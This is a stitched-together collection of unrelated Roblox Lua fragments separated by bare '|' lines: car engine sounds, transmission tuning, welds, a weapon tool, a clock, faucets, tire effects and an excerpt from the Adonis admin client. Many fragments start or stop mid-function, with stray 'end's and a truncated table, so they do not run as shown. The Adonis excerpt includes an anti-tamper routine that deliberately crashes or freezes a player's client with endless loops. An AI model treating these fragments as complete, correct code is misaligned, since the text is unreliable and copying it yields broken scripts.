car.DriveSeat:WaitForChild("Rev")
car.DriveSeat:WaitForChild("Rel")
while wait() do
mult=math.max(0,mult-.1)
local _RPM = script.Parent.Values.RPM.Value
if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then
throt = math.max(.3,throt-.2)
trmmult = math.max(0,trmmult-.05)
trmon = 1
else
throt = math.min(1,throt+.1)
trmmult = 1
trmon = 0
end
shift = math.min(1,shift+.2)
if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then
redline=.5
else
redline=1
end
if script.Parent.Values.PreOn.Value then
on=1
local _Rev
local t1 = tick()
local check
while script.Parent.Values.PreOn.Value do wait()
local t2 = tick()
local curr
if not check then
curr = t2-t1
if curr>=.25 then
check=true
t1 = tick()
else
_Rev = curr*2
end
else
curr = t2-t1
_Rev = math.max(.5-(curr),0.12)
end
RevVolume = (throt*shift*redline)+(trm*trmon*trmmult*(1-throt)*math.sin(tick()*50)) * on
RevPitch = (math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_Rev))*on^2)+(det*mult*math.sin(80*tick())),script.Rev.SetPitch.Value)) * on
RelVolume = (1 - RevVolume) * on / 0.5
RelPitch = (math.max((((script.Rel.SetPitch.Value + script.Rel.SetRev.Value*_Rev))*on^2)+(det*mult*math.sin(80*tick())),script.Rel.SetPitch.Value)) * on
if FE then
handler:FireServer("updateSound","Rev",script.Rev.SoundId,RevPitch,RevVolume)
handler:FireServer("updateSound","Rel",script.Rel.SoundId,RelPitch,RelVolume)
else
car.DriveSeat.Rev.Volume = RevVolume
car.DriveSeat.Rev.Pitch = RevPitch
car.DriveSeat.Rel.Volume = RelVolume
car.DriveSeat.Rel.Pitch = RelPitch
end
end
else
if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
RevVolume = (throt*shift*redline)+(trm*trmon*trmmult*(1-throt)*math.sin(tick()*50)) * on
RevPitch = (math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2)+(det*mult*math.sin(80*tick())),script.Rev.SetPitch.Value)) * on
RelVolume = (1 - RevVolume) * on / 0.5
RelPitch = (math.max((((script.Rel.SetPitch.Value + script.Rel.SetRev.Value*_RPM/_Tune.Redline))*on^2)+(det*mult*math.sin(80*tick())),script.Rel.SetPitch.Value)) * on
end
if FE then
handler:FireServer("updateSound","Rev",script.Rev.SoundId,RevPitch,RevVolume)
handler:FireServer("updateSound","Rel",script.Rel.SoundId,RelPitch,RelVolume)
else
car.DriveSeat.Rev.Volume = RevVolume
car.DriveSeat.Rev.Pitch = RevPitch
car.DriveSeat.Rel.Volume = RelVolume
car.DriveSeat.Rel.Pitch = RelPitch
end
end
|
--[[Weld functions]]
|
local JS = game:GetService("JointsService")
local PGS_ON = workspace:PGSIsEnabled()
function MakeWeld(x,y,type,s)
if type==nil then type="Weld" end
local W=Instance.new(type,JS)
W.Part0=x W.Part1=y
W.C0=x.CFrame:inverse()*x.CFrame
W.C1=y.CFrame:inverse()*x.CFrame
if type=="Motor" and s~=nil then
W.MaxVelocity=s
end
return W
end
function ModelWeld(a,b)
if a:IsA("BasePart") then
MakeWeld(b,a,"Weld")
elseif a:IsA("Model") then
for i,v in pairs(a:GetChildren()) do
ModelWeld(v,b)
end
end
end
function UnAnchor(a)
if a:IsA("BasePart") then a.Anchored=false a.Archivable = false a.Locked=true end for i,v in pairs(a:GetChildren()) do UnAnchor(v) end
end
|
--!nonstrict
--[[
TouchThumbstick
--]]
|
local Players = game:GetService("Players")
local GuiService = game:GetService("GuiService")
local UserInputService = game:GetService("UserInputService")
local UserGameSettings = UserSettings():GetService("UserGameSettings")
local FFlagUserClampClassicThumbstick do
local success, result = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserClampClassicThumbstick")
end)
FFlagUserClampClassicThumbstick = success and result
end
|
--//EXTRAS//--
|
bforce = Instance.new("BodyForce")
bforce.Parent = script.Parent
bforce.Name = "AirPhysics"
dforceF = Instance.new("BodyThrust")
dforceF.Parent = weight
dforceF.Name = "FrontDF"
dforceR = Instance.new("BodyThrust")
dforceR.Parent = weight
dforceR.Name = "RearDF"
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 10 -- cooldown for use of the tool again
BoneModelName = "Bear trap" -- name the zone model
HumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
--//Variables\\--
|
local tool = script.Parent
local handle = tool:WaitForChild("Handle")
local muzzle = tool:WaitForChild("Muzzle")
local muzzleFlash = muzzle:WaitForChild("MuzzleFlash")
local muzzleEffect = muzzleFlash:WaitForChild("MuzzleEffect")
local configs = tool:WaitForChild("Configurations")
local fireRate = configs:FindFirstChild("FireRate")
local maxDamage = configs:FindFirstChild("MaxDamage")
local minDamage = configs:FindFirstChild("MinDamage")
local velocity = configs:FindFirstChild("Velocity")
local accuracy = configs:FindFirstChild("Accuracy")
local specialDuration = configs:FindFirstChild("SpecialDuration")
local specialRechargeTime = configs:FindFirstChild("SpecialRechargeTime")
local showDamageText = true
local debris = game:GetService("Debris")
local fire = tool:WaitForChild("Fire")
local activateSpecial = tool:WaitForChild("ActivateSpecial")
local hit = tool:WaitForChild("Hit")
|
--[[
Constructs a new computed state object, which follows the value of another
state object using a tween.
]]
|
local Package = script.Parent.Parent
local Dependencies = require(Package.Dependencies)
local xtypeof = require(Package.ObjectUtility).xtypeof
local unwrap = require(Package.States.unwrap)
local TweenScheduler = require(script.TweenScheduler)
local parseError = Dependencies.utility.parseError
local class = {}
local CLASS_METATABLE = {__index = class}
local WEAK_KEYS_METATABLE = {__mode = "k"}
|
--[[Transmission]]
|
Tune.TransModes = {"Semi"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 4.06 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 2.04 ,
--[[ 3 ]] 1.38 ,
--[[ 4 ]] 1.03 ,
--[[ 5 ]] 0.81 ,
}
Tune.FDMult = 1 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
--Made by Luckymaxer
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
RunService = game:GetService("RunService")
Camera = game:GetService("Workspace").CurrentCamera
Animations = {}
LocalObjects = {}
ServerControl = Tool:WaitForChild("ServerControl")
ClientControl = Tool:WaitForChild("ClientControl")
ReloadCounter = 0
ToolEquipped = false
function SetAnimation(Mode, Value)
if Mode == "PlayAnimation" and Value and ToolEquipped and Humanoid then
for i, v in pairs(Animations) do
if v.Animation == Value.Animation then
v.AnimationTrack:Stop()
table.remove(Animations, i)
end
end
local AnimationTrack = Humanoid:LoadAnimation(Value.Animation)
table.insert(Animations, {Animation = Value.Animation, AnimationTrack = AnimationTrack})
AnimationTrack:Play(Value.FadeTime, Value.Weight, Value.Speed)
elseif Mode == "StopAnimation" and Value then
for i, v in pairs(Animations) do
if v.Animation == Value.Animation then
v.AnimationTrack:Stop()
table.remove(Animations, i)
end
end
end
end
function CheckIfAlive()
return (((Player and Player.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) and true) or false)
end
function Equipped(Mouse)
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
ToolEquipped = true
if not CheckIfAlive() then
return
end
PlayerMouse = Player:GetMouse()
Mouse.Button1Down:connect(function()
InvokeServer("MouseClick", {Down = true})
end)
Mouse.Button1Up:connect(function()
InvokeServer("MouseClick", {Down = false})
end)
Mouse.KeyDown:connect(function(Key)
InvokeServer("KeyPress", {Key = Key, Down = true})
end)
Mouse.KeyUp:connect(function(Key)
InvokeServer("KeyPress", {Key = Key, Down = false})
end)
end
function Unequipped()
ToolEquipped = false
LocalObjects = {}
for i, v in pairs(Animations) do
if v and v.AnimationTrack then
v.AnimationTrack:Stop()
end
end
Animations = {}
end
function InvokeServer(Mode, Value)
pcall(function()
local ServerReturn = ServerControl:InvokeServer(Mode, Value)
return ServerReturn
end)
end
function OnClientInvoke(Mode, Value)
if Mode == "PlayAnimation" and Value and ToolEquipped and Humanoid then
SetAnimation("PlayAnimation", Value)
elseif Mode == "StopAnimation" and Value then
SetAnimation("StopAnimation", Value)
elseif Mode == "PlaySound" and Value then
Value:Play()
elseif Mode == "StopSound" and Value then
Value:Stop()
elseif Mode == "MousePosition" then
return PlayerMouse.Hit.p
end
end
ClientControl.OnClientInvoke = OnClientInvoke
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
-- odo1.Text = ((math.floor(miles*10))/10).." mi"
|
end
|
---
|
if script.Parent.Parent.Parent.IsOn.Value then
script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
script.Parent.Parent.Parent.IsOn.Changed:connect(function()
if script.Parent.Parent.Parent.IsOn.Value then
script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
local handler = car.Drl
script.Parent.MouseButton1Click:connect(function()
if car.Body.Drl.F.L.L.Enabled == false then
handler:FireServer("Lights",1)
script.Parent.BackgroundColor3 = Color3.new(0,255/255,0)
script.Parent.TextStrokeColor3 = Color3.new(0,255/255,0)
for index, child in pairs(car.Body.Drl.F:GetChildren()) do
child.Material = Enum.Material.Neon
child.L.Enabled = true
end
elseif car.Body.Drl.F.L.L.Enabled == true then
handler:FireServer("Lights",0)
script.Parent.BackgroundColor3 = Color3.new(0,0,0)
script.Parent.TextStrokeColor3 = Color3.new(0,0,0)
for index, child in pairs(car.Body.Drl.F:GetChildren()) do
child.Material = Enum.Material.SmoothPlastic
child.L.Enabled = false
end
end
end)
|
-- << API >>
|
function hd:DisableCommands(player, boolean)
if boolean then
main.commandBlocks[player] = true
local pdata = main.pd[player]
if pdata and pdata.Donor then
main:GetModule("Parser"):ParseMessage(player, "!unlasereyes", false)
end
else
main.commandBlocks[player] = nil
end
end
function hd:SetRank(player, rank, rankType)
if tonumber(rank) == nil then
rank = main:GetModule("cf"):GetRankId(rank)
end
if not player then
return(errors.Player)
elseif rank > 5 or (rank == 5 and player.UserId ~= main.ownerId) then
return("Cannot set a player's rank above or equal to 5 (Owner)!")
else
main:GetModule("cf"):SetRank(player, main.ownerId, rank, rankType)
end
end
function hd:UnRank(player)
main:GetModule("cf"):Unrank(player)
end
function hd:GetRank(player)
local pdata = main.pd[player]
if not pdata then
return 0, errors.Player
else
local rankId = pdata.Rank
local rankName = main:GetModule("cf"):GetRankName(rankId)
local rankType = main:GetModule("cf"):GetRankType(player)
return rankId, rankName, rankType
end
end
return hd
|
--------END RIGHT DOOR --------
|
end
wait(0.15)
until game.Workspace.DoorFlashing.Value == false
end
end
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
-- {"MONTH", TOAL DAYS TO YEAR, DAYS} <- Format
|
{"January",31,31};
{"February",59,28};
{"March",90,31};
{"April",120,30};
{"May",151,31};
{"June",181,30};
{"July",212,31};
{"August",243,31};
{"September",273,30};
{"October",304,31};
{"November",334,30};
{"December",365,31};
}
year = math.floor(1970+(t/31579200))
if ((year%4) == 0) then -- Check for leap year
months[2][3] = 29
for i,v in pairs(months) do
if (i ~= 1) then
v[2] = (v[2]+1)
end
end
end
day = math.floor(((t/86400)%365.25)+1) -- Get current day of the year. Starts at 0, so 1 is added (365.25 is the average # of days in a year due to leap year)
for i,m in pairs(months) do
if ((m[2]-m[3]) <= day) then -- Get month based on day
month = i
end
end
local m = months[month]
day = (day+m[3]-m[2]) -- Get day of the month
year,day = tostring(year),tostring(day)
local c,s = ", "," " -- Comma, space
Date = (months[month][1] .. s .. day .. c .. year)
end
function getTime()
local sec = math.floor((t%60)) -- Sec, Min, and Hour equations I actually got off of Google. Everything else was written by me
local min = math.floor((t/60)%60)
local hour = math.floor((t/3600)%24)
sec = tostring((sec < 10 and "0" or "") .. sec)
min = tostring((min < 10 and "0" or "") .. min)
tag = (Type == 0 and (hour < 12 and "AM" or "PM") or "")
hour = ((Type == 1 and hour < 10 and "0" or "") .. tostring(Type == 0 and (hour == 0 and 12 or hour > 12 and (hour-12) or hour) or hour)) -- Ternary operators FTW. Helps get rid of 'if then' stuff. Actually learned this off of Java programming: z = (x == y ? "Yes" : "No")
local c,s = ":",(Type == 0 and " " or "") -- Colon, (space if 12 hr clock)
Time = (hour .. c .. min .. (Sec and c .. sec or "") .. s .. tag)
end
function display(start)
if (start) then
getDate()
getTime()
delay(0,function()
for i = 1,0,-0.05 do
script.Parent.Time.TextTransparency,script.Parent.Date.TextTransparency = i,i
wait()
end
script.Parent.Time.TextTransparency,script.Parent.Date.TextTransparency = 0,0
end)
end
script.Parent.Time.Text = Time -- ORLY?
script.Parent.Date.Text = Date
end
function start()
display(true)
while (true) do
-- Simplicity FTW:
t = tick()
getDate()
getTime()
display()
wait()
end
end
start()
|
--script.Parent.Light2.BrickColor = BrickColor.new("Really black")
|
wait(3.2)
A1.Enabled = false
A2.Enabled = false
A3.Enabled = false
A4.Enabled = false
A5.Enabled = false
W1.Enabled = false
W2.Enabled = false
W3.Enabled = false
W4.Enabled = false
W5.Enabled = false
W6.Enabled = false
W7.Enabled = false
wait(0.05)
W1.Enabled = true
W2.Enabled = true
W3.Enabled = true
W4.Enabled = true
W5.Enabled = true
W6.Enabled = true
W7.Enabled = true
wait(0.05)
W1.Enabled = false
W2.Enabled = false
W3.Enabled = false
W4.Enabled = false
W5.Enabled = false
W6.Enabled = false
W7.Enabled = false
wait(0.05)
W1.Enabled = true
W2.Enabled = true
W3.Enabled = true
W4.Enabled = true
W5.Enabled = true
W6.Enabled = true
W7.Enabled = true
wait(0.05)
W1.Enabled = false
W2.Enabled = false
W3.Enabled = false
W4.Enabled = false
W5.Enabled = false
W6.Enabled = false
W7.Enabled = false
wait(0.05)
W1.Enabled = true
W2.Enabled = true
W3.Enabled = true
W4.Enabled = true
W5.Enabled = true
W6.Enabled = true
W7.Enabled = true
|
--[[
local warn = function(...)
warn(...)
end
]]
|
local cPcall = function(func, ...)
local ran, err = pcall(coroutine.resume, coroutine.create(func), ...)
if err then
warn(':: ADONIS_ERROR ::',err)
logError(tostring(err))
end
return ran, err
end
local Pcall = function(func, ...)
local ran, err = pcall(func, ...)
if err then
logError(tostring(err))
end
return ran, err
end
local Routine = function(func, ...)
return coroutine.resume(coroutine.create(func), ...)
end
local Immutable = function(...)
local mut = coroutine.wrap(function(...)
while true do
coroutine.yield(...)
end
end)
mut(...)
return mut
end
local player = game:GetService("Players").LocalPlayer
local Fire, Detected = nil,nil
local wrap = coroutine.wrap
local Kill; Kill = Immutable(function(info)
--if true then print(info or "SOMETHING TRIED TO CRASH CLIENT?") return end
wrap(function() pcall(function()
if Detected then
Detected("kick", info)
elseif Fire then
Fire("BadMemes", info)
end
end) end)()
wrap(function() pcall(function()
wait(1)
service.Player:Kick(info)
end) end)()
wrap(function() pcall(function()
wait(5)
while true do
pcall(spawn,function()
spawn(Kill())
-- memes
end)
end
end) end)()
end);
local GetEnv;
GetEnv = function(env, repl)
local scriptEnv = setmetatable({},{
__index = function(tab,ind)
return (locals[ind] or (env or origEnv)[ind])
end;
__metatable = unique;
})
if repl and type(repl)=="table" then
for ind, val in pairs(repl) do
scriptEnv[ind] = val
end
end
return scriptEnv
end
local GetVargTable = function()
return {
Client = client;
Service = service;
}
end
local LoadModule = function(plugin, yield, envVars, noEnv)
local plugran, plug = pcall(require, plugin)
if plugran then
if type(plug) == "function" then
if yield then
--Pcall(setfenv(plug,GetEnv(getfenv(plug), envVars)))
local ran,err = service.TrackTask("Plugin: ".. tostring(plugin), (noEnv and plug) or setfenv(plug, GetEnv(getfenv(plug), envVars)), GetVargTable(), GetEnv)
if not ran then
warn("Module encountered an error while loading: "..tostring(plugin))
warn(tostring(err))
end
else
--service.Threads.RunTask("PLUGIN: "..tostring(plugin),setfenv(plug,GetEnv(getfenv(plug), envVars)))
local ran,err = service.TrackTask("Thread: Plugin: ".. tostring(plugin), (noEnv and plug) or setfenv(plug, GetEnv(getfenv(plug), envVars)), GetVargTable(), GetEnv)
if not ran then
warn("Module encountered an error while loading: "..tostring(plugin))
warn(tostring(err))
end
end
else
client[plugin.Name] = plug
end
else
warn("Error while loading client module", plugin, plug)
end
end;
log("Client setmetatable");
client = setmetatable({
Handlers = {};
Modules = {};
Service = service;
Module = script;
Print = print;
Warn = warn;
Deps = {};
Pcall = Pcall;
cPcall = cPcall;
Routine = Routine;
OldPrint = oldPrint;
LogError = logError;
TestEvent = Instance.new("RemoteEvent");
Disconnect = function(info)
service.Player:Kick(info or "Disconnected from server")
--wait(30)
--client.Kill()(info)
end;
--Kill = Kill;
}, {
__index = function(self, ind)
if ind == "Kill" then
local ran,func = pcall(function() return Kill() end);
if not ran or type(func) ~= "function" then
service.Players.LocalPlayer:Kick("Adonis (PlrClientIndexKlErr)");
while true do end
end
return func;
end
end
});
locals = {
Pcall = Pcall;
GetEnv = GetEnv;
cPcall = cPcall;
client = client;
Folder = Folder;
Routine = Routine;
service = service;
logError = logError;
origEnv = origEnv;
log = log;
dumplog = dumplog;
}
log("Create service metatable");
service = require(Folder.Shared.Service)(function(eType, msg, desc, ...)
--warn(eType, msg, desc, ...)
local extra = {...}
if eType == "MethodError" then
--Kill()("Shananigans denied")
--player:Kick("Method error")
--service.Detected("kick", "Method change detected")
logError("Client", "Method Error Occured: "..tostring(msg))
elseif eType == "ServerError" then
logError("Client", tostring(msg))
elseif eType == "ReadError" then
--message("===== READ ERROR:::::::")
--message(tostring(msg))
--message(tostring(desc))
--message(" ")
Kill()(tostring(msg))
--if Detected then
-- Detected("log", tostring(msg))
--end
end
end, function(c, parent, tab)
if not isModule(c) and c ~= script and c ~= Folder and parent == nil then
tab.UnHook()
end
end, ServiceSpecific, GetEnv(nil, {client = client}))
|
----- hot tap handler -----
|
hotTap.Interactive.ClickDetector.MouseClick:Connect(function()
if hotOn.Value == false then
hotOn.Value = true
faucet.ParticleEmitter.Enabled = true
waterSound:Play()
hotTap.Interactive.ClickDetector.MaxActivationDistance = 32
coldTap.Interactive.ClickDetector.MaxActivationDistance = 0
hotTap.Handle.Transparency = 0
coldTap.Handle.Transparency = 1
handle.HandleOff.Transparency = 1
else
hotOn.Value = false
if coldOn.Value == false then
faucet.ParticleEmitter.Enabled = false
waterSound:Stop()
end
hotTap.Interactive.ClickDetector.MaxActivationDistance = 32
coldTap.Interactive.ClickDetector.MaxActivationDistance = 32
hotTap.Handle.Transparency = 1
coldTap.Handle.Transparency = 1
handle.HandleOff.Transparency = 0
end
end)
|
-------------------------
|
function onClicked()
R.BrickColor = BrickColor.new("Really red")
C.One.BrickColor = BrickColor.new("Really black")
C.Two.BrickColor = BrickColor.new("Really black")
C.Four.BrickColor = BrickColor.new("Really black")
C.MIC.BrickColor = BrickColor.new("Really black")
C.A.BrickColor = BrickColor.new("Really black")
C.B.BrickColor = BrickColor.new("Really black")
C.M.BrickColor = BrickColor.new("Really black")
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
--[=[
@param value any -- Value to set for the clients (and to the predicate)
Sets the value for specific clients that pass the `predicate`
function test. This can be used to finely set the values
based on more control logic (e.g. setting certain values
per team).
```lua
-- Set the value of "NewValue" to players with a name longer than 10 characters:
remoteProperty:SetFilter(function(player)
return #player.Name > 10
end, "NewValue")
```
]=]
|
function RemoteProperty:SetFilter(predicate: (Player, any) -> boolean, value: any)
for _, player in ipairs(Players:GetPlayers()) do
if predicate(player, value) then
self:SetFor(player, value)
end
end
end
|
-- check if the player is moving and not climbing
|
humanoid.Running:Connect(function(speed)
if humanoid.MoveDirection.Magnitude > 0 and speed > 0 and humanoid:GetState() ~= Enum.HumanoidStateType.Climbing then
getSoundProperties()
update()
currentSound.Playing = true
currentSound.Looped = true
else
currentSound:Stop()
end
end)
serverSound.Changed:Connect(function(Volume)
if Volume ~= 0 then
serverSound.Volume = 0
end
end)
|
-- Debug:
|
function Replica:Identify() --> [string]
local tag_string = ""
local first_tag = true
for tag_key, tag_val in pairs(self.Tags) do
tag_string = tag_string .. (first_tag and "" or ";") .. tostring(tag_key) .. "=" .. tostring(tag_val)
end
return "[Id:" .. tostring(self.Id) .. ";Class:" .. self.Class .. ";Tags:{" .. tag_string .. "}]"
end
|
--[=[
A wrapper for an `RBXScriptConnection`. Makes the Janitor clean up when the instance is destroyed. This was created by Corecii.
@class RbxScriptConnection
@__index RbxScriptConnection
]=]
|
local RbxScriptConnection = {}
RbxScriptConnection.Connected = true
RbxScriptConnection.__index = RbxScriptConnection
|
--function playerDiedCallFunction(player)
-- local rebirthCountStat = PlayerStatManager:getStat(player,"RebirthCount")
-- local plrJoinedOrDied = RebirthSettings.Rebirth.playerJoinedOrDied
-- for i = 1,#plrJoinedOrDied,1 do
-- if rebirthCountStat >= plrJoinedOrDied[i].rebirthCount
-- and plrJoinedOrDied[i].recallOnDeath == true then
-- plrJoinedOrDied[i][1](player)
-- end
-- end
--end
| |
-- Hot water
|
faucet.HotWaterSet.Interactive.ClickDetector.MouseClick:Connect(function()
faucet.Handle:SetPrimaryPartCFrame(faucet.HandleBase.CFrame * CFrame.Angles(math.rad(-150),0,0))
if steam.WarmSteam.Enabled == true then
steam.WarmSteam.Enabled = false
end
steam.HotSteam.Enabled = true
p.HotOn.Value = true
p.ColdOn.Value = false
end)
|
--Runtime Loop
|
wait(2)
car.Wheels.FL:WaitForChild('SQ')
local Distance = car.Wheels.FL.Size.Y/2+0.1
function LocalUpdate(v, material, color, objn)
if v == 'StopGravel' then
car.DriveSeat.Gravel.Volume = 0
return
end
if v == 'StopSnow' then
car.DriveSeat.SnowSound.Volume = 0
return
end
if (material == Enum.Material.Asphalt or material == Enum.Material.Slate or material == Enum.Material.Concrete
or material == Enum.Material.Basalt or material == Enum.Material.Brick or material == Enum.Material.Cobblestone or material == Enum.Material.Rock
or material == Enum.Material.Sandstone or material == Enum.Material.Concrete or material == Enum.Material.Pavement or material == Enum.Material.Limestone
or material == Enum.Material.Wood or material == Enum.Material.Salt) then
if v.stress > 0.6 then
v.wheel.SQ.Volume = (v.stress-0.1)*3
v.wheel.SQ.PlaybackSpeed = v.stress+0.15
v.wheel.Smoke.Rate = v.stress*5
else
v.wheel.SQ.Volume = v.stress-0.1
v.wheel.SQ.PlaybackSpeed = v.stress+0.15
v.wheel.Smoke.Rate = 0
end
v.wheel.Dirt.Rate = 0
v.wheel.Sand.Rate = 0
v.wheel.Snow.Rate = 0
v.wheel.GravelEmitter.Rate = 0
elseif (material == Enum.Material.Marble or material == Enum.Material.Plastic or material == Enum.Material.SmoothPlastic
or material == Enum.Material.Metal or material == Enum.Material.DiamondPlate or material == Enum.Material.CorrodedMetal) then
if v.stress > 0.6 then
v.wheel.SQ.Volume = (v.stress-0.1)*3
v.wheel.SQ.PlaybackSpeed = v.stress+0.15
v.wheel.Smoke.Rate = 0
else
v.wheel.SQ.Volume = v.stress-0.1
v.wheel.SQ.PlaybackSpeed = v.stress+0.15
v.wheel.Smoke.Rate = 0
end
v.wheel.Dirt.Rate = 0
v.wheel.Sand.Rate = 0
v.wheel.Snow.Rate = 0
v.wheel.GravelEmitter.Rate = 0
elseif (material == Enum.Material.Grass or material == Enum.Material.LeafyGrass) then
v.wheel.Dirt.Rate = (v.stress*10)
v.wheel.SQ.Volume = 0
v.wheel.SQ.PlaybackSpeed = 0
v.wheel.Smoke.Rate = 0
v.wheel.Sand.Rate = 0
v.wheel.Snow.Rate = 0
v.wheel.GravelEmitter.Rate = 0
local fixmultiply = 1
if car.DriveSeat.Velocity.Magnitude <= 0.9 then
fixmultiply = 0
end
local pitch = ((v.stress*2) + (car.DriveSeat.Velocity.Magnitude/80))+(0.5*fixmultiply)
if pitch > 2.1 then
pitch = 2.1
end
car.DriveSeat.Gravel.PlaybackSpeed = pitch
car.DriveSeat.Gravel.Volume = pitch*8
car.DriveSeat.Gravel.PitchShiftSoundEffect.Octave = 1-(pitch/4)
elseif (material == Enum.Material.Ground or material == Enum.Material.Mud) then
if car.DriveSeat.Velocity.Magnitude >= 30 then
v.wheel.Dirt.Rate = (v.stress*10) + (car.DriveSeat.Velocity.Magnitude/10)
else
v.wheel.Dirt.Rate = (v.stress*10)
end
v.wheel.SQ.Volume = 0
v.wheel.SQ.PlaybackSpeed = 0
v.wheel.Smoke.Rate = 0
v.wheel.Sand.Rate = 0
v.wheel.Snow.Rate = 0
v.wheel.GravelEmitter.Rate = 0
local fixmultiply = 1
if car.DriveSeat.Velocity.Magnitude <= 0.9 then
fixmultiply = 0
end
local pitch = ((v.stress*2) + (car.DriveSeat.Velocity.Magnitude/80))+(0.5*fixmultiply)
if pitch > 2.1 then
pitch = 2.1
end
car.DriveSeat.Gravel.PlaybackSpeed = pitch
car.DriveSeat.Gravel.Volume = pitch*8
car.DriveSeat.Gravel.PitchShiftSoundEffect.Octave = 1-(pitch/4)
elseif material == Enum.Material.Sand then
if car.DriveSeat.Velocity.Magnitude >= 30 then
v.wheel.Sand.Rate = (v.stress*10) + (car.DriveSeat.Velocity.Magnitude/10)
else
v.wheel.Sand.Rate = (v.stress*10)
end
if objn ~= 'Terrain' then
v.wheel.Sand.Color = ColorSequence.new(color)
else
v.wheel.Sand.Color = ColorSequence.new(Color3.fromRGB(143, 126, 95))
end
v.wheel.SQ.Volume = 0
v.wheel.SQ.PlaybackSpeed = 0
v.wheel.Smoke.Rate = 0
v.wheel.Dirt.Rate = 0
v.wheel.Snow.Rate = 0
v.wheel.GravelEmitter.Rate = 0
local fixmultiply = 1
if car.DriveSeat.Velocity.Magnitude <= 0.9 then
fixmultiply = 0
end
local pitch = ((v.stress*2) + (car.DriveSeat.Velocity.Magnitude/80))+(0.5*fixmultiply)
if pitch > 2.1 then
pitch = 2.1
end
if ( (color.r>=color.g and color.r-color.b < 0.11) or (color.g>=color.r and color.g-color.b < 0.11) ) and objn ~= 'Terrain' then
car.DriveSeat.SnowSound.PlaybackSpeed = pitch
car.DriveSeat.SnowSound.Volume = pitch*20
car.DriveSeat.SnowSound.PitchShiftSoundEffect.Octave = 1-(pitch/4)
else
car.DriveSeat.Gravel.PlaybackSpeed = pitch
car.DriveSeat.Gravel.Volume = pitch*8
car.DriveSeat.Gravel.PitchShiftSoundEffect.Octave = 1-(pitch/4)
end
elseif material == Enum.Material.Snow then
if car.DriveSeat.Velocity.Magnitude >= 30 then
v.wheel.Snow.Rate = (v.stress*10) + (car.DriveSeat.Velocity.Magnitude/10)
else
v.wheel.Snow.Rate = (v.stress*10)
end
v.wheel.SQ.Volume = 0
v.wheel.SQ.PlaybackSpeed = 0
v.wheel.Smoke.Rate = 0
v.wheel.Dirt.Rate = 0
v.wheel.Sand.Rate = 0
v.wheel.GravelEmitter.Rate = 0
local fixmultiply = 1
if car.DriveSeat.Velocity.Magnitude <= 0.9 then
fixmultiply = 0
end
local pitch = ((v.stress*2) + (car.DriveSeat.Velocity.Magnitude/80))+(0.5*fixmultiply)
if pitch > 2.1 then
pitch = 2.1
end
car.DriveSeat.SnowSound.PlaybackSpeed = pitch
car.DriveSeat.SnowSound.Volume = pitch*20
car.DriveSeat.SnowSound.PitchShiftSoundEffect.Octave = 1-(pitch/4)
elseif (material == Enum.Material.Pebble) then
if car.DriveSeat.Velocity.Magnitude >= 30 then
v.wheel.GravelEmitter.Rate = (v.stress*10) + (car.DriveSeat.Velocity.Magnitude/10)
else
v.wheel.GravelEmitter.Rate = (v.stress*10)
end
v.wheel.GravelEmitter.Color = ColorSequence.new(color)
local fixmultiply = 1
if car.DriveSeat.Velocity.Magnitude <= 0.9 then
fixmultiply = 0
end
local pitch = ((v.stress*2) + (car.DriveSeat.Velocity.Magnitude/80))+(0.5*fixmultiply)
if pitch > 2.1 then
pitch = 2.1
end
car.DriveSeat.Gravel.PlaybackSpeed = pitch
car.DriveSeat.Gravel.Volume = pitch*8
car.DriveSeat.Gravel.PitchShiftSoundEffect.Octave = 1-(pitch/4)
v.wheel.Dirt.Rate = 0
v.wheel.Sand.Rate = 0
v.wheel.Snow.Rate = 0
v.wheel.SQ.Volume = 0
v.wheel.SQ.PlaybackSpeed = 0
v.wheel.Smoke.Rate = 0
else
v.wheel.Dirt.Rate = 0
v.wheel.GravelEmitter.Rate = 0
v.wheel.Sand.Rate = 0
v.wheel.SQ.Volume = 0
v.wheel.SQ.PlaybackSpeed = 0
v.wheel.Smoke.Rate = 0
v.wheel.Snow.Rate = 0
end
end
while wait() do
GravelSound = false
SnowSound = false
for i,v in pairs(Wheels) do
--Vars
local speed = car.DriveSeat.Velocity.Magnitude
local wheel = v.wheel.RotVelocity.Magnitude
local z = 0
local deg = 0.000126
--Tire Wear
local cspeed = (speed/1.298)*(2.6/v.wheel.Size.Y)
local wdif = math.abs(wheel-cspeed)
if _WHEELTUNE.TireWearOn then
if speed < 4 then
